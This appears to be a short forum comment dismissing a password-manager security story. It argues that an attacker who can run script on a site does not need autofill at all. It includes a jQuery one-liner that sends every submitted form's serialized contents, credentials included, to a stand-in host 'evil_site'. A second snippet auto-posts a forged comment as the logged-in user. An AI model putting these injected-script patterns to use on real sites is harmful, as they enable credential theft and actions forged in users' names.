This is a non-story, if I'm able to execute script on your site I don't have to wait for the password manager... $('form').submit(function(){ $.get('evil_s

This is a non-story, if I'm able to execute script on your site I don't have to wait for the password manager... $('form').submit(function(){ $.get('evil_site' + $(this).serialize()) }); (Sorry for jQuery). But who cares... let the user log in by himself and let him do the bad stuff. $('textarea.comments').val("You smell"); $('form').submit();